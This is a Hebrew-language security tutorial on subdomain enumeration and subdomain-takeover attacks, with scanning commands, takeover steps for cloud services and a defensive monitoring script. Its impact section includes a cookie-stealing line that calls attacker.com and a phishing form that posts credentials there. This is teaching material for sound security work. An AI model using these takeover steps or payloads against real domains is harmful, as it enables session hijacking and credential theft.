לדלג לתוכן

סאבדומיין ו-Subdomain Takeover

מבוא

סאבדומיינים הם חלק בלתי נפרד מהתשתית של ארגונים. חברות גדולות מתחזקות מאות ואלפי סאבדומיינים - לסביבות פיתוח, API interfaces, פאנלי ניהול, שירותי staging, ועוד. מיפוי סאבדומיינים הוא שלב קריטי בחקירה, וכאשר סאבדומיין מפנה למשאב שאינו קיים עוד - נוצרת הזדמנות לתקיפת Subdomain Takeover.

בשיעור זה נלמד טכניקות מתקדמות למיפוי סאבדומיינים, נבין את מתקפת Subdomain Takeover לעומק, ונתרגל זיהוי וexploit של רשומות DNS תלויות.

צינור מיפוי הסאבדומיינים מאיסוף ממקורות מרובים דרך איחוד ובדיקת חיים ועד בדיקת Subdomain Takeover

מיפוי סאבדומיינים - טכניקות

שיטה 1 - סריקת DNS בכוח (Brute Force)

סריקת DNS בכוח שולחת שאילתות DNS לשמות סאבדומיינים מתוך רשימת מילים.

# Using ffuf to scan for subdomains
ffuf -u "https://FUZZ.target.com" -w /usr/share/wordlists/subdomains-top1million-5000.txt \
     -mc 200,301,302,403 -o subdomains.json -of json

# Using gobuster
gobuster dns -d target.com -w /usr/share/wordlists/subdomains-top1million-5000.txt -t 50

# Using dnsx to check DNS records
cat wordlist.txt | sed 's/$/.target.com/' | dnsx -silent -a -resp

שיטה 2 - שקיפות תעודות (Certificate Transparency)

רישומי שקיפות תעודות (CT Logs) מכילים את כל תעודות ה-SSL שהונפקו, כולל שמות סאבדומיינים.

# Using crt.sh - a database of SSL certificates
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
    jq -r '.[].name_value' | sort -u > ct_subdomains.txt

# Python script to query crt.sh
# crt_enum.py - enumerate subdomains from Certificate Transparency
import requests
import json
import sys

def get_subdomains_from_crt(domain):
    url = f"https://crt.sh/?q=%25.{domain}&output=json"
    try:
        response = requests.get(url, timeout=30)
        data = json.loads(response.text)

        subdomains = set()
        for entry in data:
            name = entry.get("name_value", "")
            for sub in name.split("\n"):
                sub = sub.strip().lower()
                if sub.endswith(domain) and "*" not in sub:
                    subdomains.add(sub)

        return sorted(subdomains)
    except Exception as e:
        print(f"[-] Error: {e}")
        return []

if __name__ == "__main__":
    domain = sys.argv[1]
    subs = get_subdomains_from_crt(domain)
    print(f"[+] Found {len(subs)} subdomains for {domain}:")
    for sub in subs:
        print(f"  {sub}")

שיטה 3 - כלים ייעודיים

# amass - the most comprehensive tool for subdomain enumeration
# combines many sources: DNS, CT logs, APIs, web archives
amass enum -d target.com -o amass_results.txt

# amass with passive sources only (quieter)
amass enum -passive -d target.com -o amass_passive.txt

# subfinder - fast and efficient
subfinder -d target.com -o subfinder_results.txt

# subfinder with API sources (requires configuring keys)
subfinder -d target.com -all -o subfinder_all.txt

# knockpy
knockpy target.com

# dnsrecon
dnsrecon -d target.com -t std,brt

# Combine results from all tools
cat amass_results.txt subfinder_results.txt ct_subdomains.txt | sort -u > all_subdomains.txt
echo "[+] Total unique subdomains: $(wc -l < all_subdomains.txt)"

שיטה 4 - דורקינג במנועי חיפוש

# Google Dorks
site:target.com -www
site:*.target.com
site:target.com inurl:admin
site:target.com inurl:dev
site:target.com inurl:staging
site:target.com inurl:api

# Shodan
hostname:target.com
ssl.cert.subject.cn:target.com

# Censys
parsed.names: target.com

שיטה 5 - סריקה מסיבית עם massdns

# massdns - especially fast DNS scanning
# suited for scanning millions of names

# Installation
git clone https://github.com/blechschmidt/massdns.git
cd massdns && make

# Create a list of subdomains to check
cat wordlist.txt | sed "s/$/.target.com/" > to_resolve.txt

# Scan using a list of public DNS resolvers
./bin/massdns -r lists/resolvers.txt -t A -o S to_resolve.txt > massdns_results.txt

# Filter positive results
grep -v "NXDOMAIN" massdns_results.txt | awk '{print $1}' | sed 's/\.$//' | sort -u

בדיקת סאבדומיינים חיים

לאחר מיפוי הסאבדומיינים, נבדוק אילו מהם פעילים:

# httpx - check HTTP servers
cat all_subdomains.txt | httpx -silent -status-code -title -tech-detect -o live_subdomains.txt

# Example output:
# https://admin.target.com [200] [Admin Panel] [Nginx,PHP]
# https://api.target.com [200] [API Documentation] [Node.js,Express]
# https://staging.target.com [403] [Forbidden] [Apache]
# https://old.target.com [404] [Not Found] [CloudFront]

# Filter by response code
cat live_subdomains.txt | grep "\[200\]"
cat live_subdomains.txt | grep "\[403\]"  # can indicate a protected resource

מתקפת Subdomain Takeover

מה זה Subdomain Takeover

מתקפת Subdomain Takeover קורית כאשר:
1. לדומיין יש רשומת DNS (בדרך כלל CNAME) שמפנה לשירות חיצוני
2. השירות החיצוני כבר אינו בשימוש (החשבון נמחק, המשאב הוסר)
3. תוקף יכול ליצור את המשאב החסר ולהשתלט על הסאבדומיין

# Valid state:
blog.target.com -> CNAME -> target.github.io -> GitHub Pages (active)

# Vulnerable state:
old-blog.target.com -> CNAME -> target-old.github.io -> GitHub Pages (doesn't exist!)
# An attacker can create target-old.github.io and take over old-blog.target.com

זיהוי רשומות DNS תלויות

# Check CNAME records
dig +short CNAME blog.target.com
# Result: target.github.io.

# Check whether the target exists
dig +short A target.github.io
# If there's no answer - a takeover might be possible

# Script to check all subdomains
while read sub; do
    cname=$(dig +short CNAME "$sub" | head -1)
    if [ -n "$cname" ]; then
        a_record=$(dig +short A "$cname" | head -1)
        if [ -z "$a_record" ]; then
            echo "[POTENTIAL TAKEOVER] $sub -> $cname (no A record)"
        else
            echo "[OK] $sub -> $cname -> $a_record"
        fi
    fi
done < all_subdomains.txt

עץ החלטה לזיהוי רשומת DNS תלויה לפי קיום רשומת CNAME ותגובת רשומת A שמאפשרת Subdomain Takeover

שירותים פגיעים נפוצים

GitHub Pages

# Detection:
# CNAME points to *.github.io
# The response contains: "There isn't a GitHub Pages site here."

# Check
curl -s https://old-blog.target.com
# "There isn't a GitHub Pages site here."

# Exploitation:
# 1. Create a new repository named target-old.github.io
# 2. Add a CNAME file with the value: old-blog.target.com
# 3. Add an index.html with content
# 4. Enable GitHub Pages
# Now old-blog.target.com displays your content

AWS S3

# Detection:
# CNAME points to *.s3.amazonaws.com or *.s3-website-*.amazonaws.com
# The response: "NoSuchBucket" (code 404)

curl -s http://assets.target.com
# <Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message>
# <BucketName>target-assets</BucketName></Error>

# Exploitation:
# 1. Create an S3 bucket named target-assets in the same region
aws s3 mb s3://target-assets --region us-east-1
# 2. Upload content
aws s3 cp index.html s3://target-assets/ --acl public-read
# 3. Configure static website hosting
aws s3 website s3://target-assets/ --index-document index.html

Azure

# Detection:
# CNAME points to *.azurewebsites.net, *.cloudapp.azure.com,
# *.blob.core.windows.net, *.trafficmanager.net
# The response: Azure 404 error

curl -sI https://app.target.com
# The header contains: "Microsoft-Azure-Web-Apps" and a 404 code

# Exploitation:
# 1. Create an Azure App Service with the same name
# 2. Configure a Custom Domain for the subdomain

Heroku

# Detection:
# CNAME points to *.herokuapp.com or *.herokudns.com
# The response: "No such app" or "herokucdn.com/error-pages/no-such-app.html"

curl -s https://app.target.com
# "No such app"

# Exploitation:
# 1. Create a Heroku app with the same name
heroku create target-app-name
# 2. Configure the domain
heroku domains:add app.target.com

Shopify

# Detection:
# CNAME points to shops.myshopify.com
# The response: "Sorry, this shop is currently unavailable."

# Exploitation:
# 1. Create a Shopify store
# 2. Configure a custom domain for the subdomain

Fastly / CloudFront

# Fastly:
# CNAME points to *.fastly.net
# The response: "Fastly error: unknown domain"

# CloudFront:
# CNAME points to *.cloudfront.net
# The response: "Bad Request" or "The request could not be satisfied"
# CloudFront takeover is more complex and requires the distribution ID

כלים לזיהוי Subdomain Takeover

subjack

# Installation
go install github.com/haccer/subjack@latest

# Scan
subjack -w all_subdomains.txt -t 100 -timeout 30 -o takeover_results.txt -ssl

# Scan with custom fingerprints
subjack -w all_subdomains.txt -t 100 -c /path/to/fingerprints.json -o results.txt

nuclei עם תבניות takeover

# Scan with nuclei
cat all_subdomains.txt | nuclei -t takeovers/ -o takeover_nuclei.txt

# Example output:
# [aws-bucket-takeover] [http] [high] https://assets.target.com
# [github-takeover] [http] [high] https://blog.target.com

can-i-take-over-xyz

מאגר מידע שמתעד אילו שירותים פגיעים ל-takeover ואילו לא:

# https://github.com/EdOverflow/can-i-take-over-xyz

# Contains:
# - A list of vulnerable and non-vulnerable services
# - Detection patterns (fingerprints) for each service
# - Exploitation instructions
# - Current status (some services have fixed the issue)

Subdomain Takeover דרך דומיינים שפגו

כיצד זה עובד

# Original state:
app.target.com -> CNAME -> custom-app.expired-domain.com
custom-app.expired-domain.com -> A -> 1.2.3.4

# After the domain expires:
app.target.com -> CNAME -> custom-app.expired-domain.com
custom-app.expired-domain.com -> (doesn't exist - the domain is available for purchase)

# Exploitation:
# 1. Purchase expired-domain.com
# 2. Create an A record for custom-app.expired-domain.com
# 3. Now app.target.com points to your server
# Check whether a domain is available for purchase
whois expired-domain.com | grep -i "status\|expir"

# Search for CNAME records that point to expired domains
while read sub; do
    cname=$(dig +short CNAME "$sub" | head -1 | sed 's/\.$//')
    if [ -n "$cname" ]; then
        domain=$(echo "$cname" | awk -F. '{print $(NF-1)"."$NF}')
        whois "$domain" 2>/dev/null | grep -qi "no match\|not found\|available" && \
            echo "[EXPIRED] $sub -> $cname (domain: $domain)"
    fi
done < all_subdomains.txt

השפעה וחומרת הפגיעה

// If target.com sets cookies with domain=.target.com
// An attacker who took over sub.target.com can read them

// Code on a page the attacker controls (sub.target.com):
document.location = "https://attacker.com/steal?cookie=" + document.cookie;

// Cookies of target.com with domain=.target.com will be accessible

פישינג - Phishing

<!-- Phishing page on sub.target.com -->
<!-- Looks legitimate because the domain is target.com -->
<html>
<body>
<h1>Sign In</h1>
<form action="https://attacker.com/phish" method="POST">
    <input name="username" placeholder="Username">
    <input name="password" type="password" placeholder="Password">
    <button type="submit">Sign In</button>
</form>
</body>
</html>

הרעלת SEO - SEO Poisoning

<!-- An attacker can add malicious content that affects the ranking of target.com -->
<!-- Google sees sub.target.com as part of target.com -->
<meta name="description" content="Buy cheap products at target.com">
<a href="https://malicious-shop.com">Click here for deals</a>

הexploit לתקיפות אחרות

  • הbypass CORS - אם target.com מאפשר בקשות מ-*.target.com
  • הbypass CSP - אם ה-CSP כולל *.target.com כמקור מותר
  • תקיפת OAuth - שימוש בסאבדומיין כ-redirect URI

הגנה מפני Subdomain Takeover

ניטור רשומות DNS

# Simple monitoring script that runs as a cron job
#!/bin/bash
DOMAIN="target.com"
KNOWN_SUBS="known_subdomains.txt"
ALERT_EMAIL="security@target.com"

# Enumerate current subdomains
subfinder -d "$DOMAIN" -silent > current_subs.txt

# Check for dangling CNAME records
while read sub; do
    cname=$(dig +short CNAME "$sub" | head -1)
    if [ -n "$cname" ]; then
        resolved=$(dig +short A "$cname" | head -1)
        if [ -z "$resolved" ]; then
            echo "ALERT: Dangling CNAME: $sub -> $cname" | \
                mail -s "Subdomain Takeover Risk" "$ALERT_EMAIL"
        fi
    fi
done < current_subs.txt

שיטות הגנה

  1. מחיקת רשומות DNS - כאשר שירות כבר אינו בשימוש, מחקו את רשומת ה-DNS
  2. ניטור שוטף - הריצו סריקות תקופתיות לזיהוי רשומות תלויות
  3. שמירת משאבים - אל תשחררו שמות של משאבים בשירותי ענן (S3 buckets, App Services)
  4. שימוש ב-CNAME בזהירות - העדיפו רשומות A על פני CNAME כאשר אפשר
  5. תיעוד - נהלו רשימה מעודכנת של כל הסאבדומיינים והמשאבים שלהם

סיכום

בשיעור זה למדנו:

  1. מיפוי סאבדומיינים - שימוש ב-amass, subfinder, crt.sh, massdns, ודורקינג
  2. מתקפת Subdomain Takeover - כיצד רשומות DNS תלויות מאפשרות השתלטות
  3. שירותים פגיעים - GitHub Pages, AWS S3, Azure, Heroku, Shopify, Fastly
  4. כלי זיהוי - subjack, nuclei, can-i-take-over-xyz
  5. השפעה - גניבת עוגיות, פישינג, bypass CORS/CSP
  6. הגנה - ניטור DNS, מחיקת רשומות, תיעוד משאבים

מיפוי סאבדומיינים ובדיקת takeover הם שלבים שצריך לבצע בכל חקירה. מדובר בחולשות שמניבות דוחות באג באונטי באופן קבוע.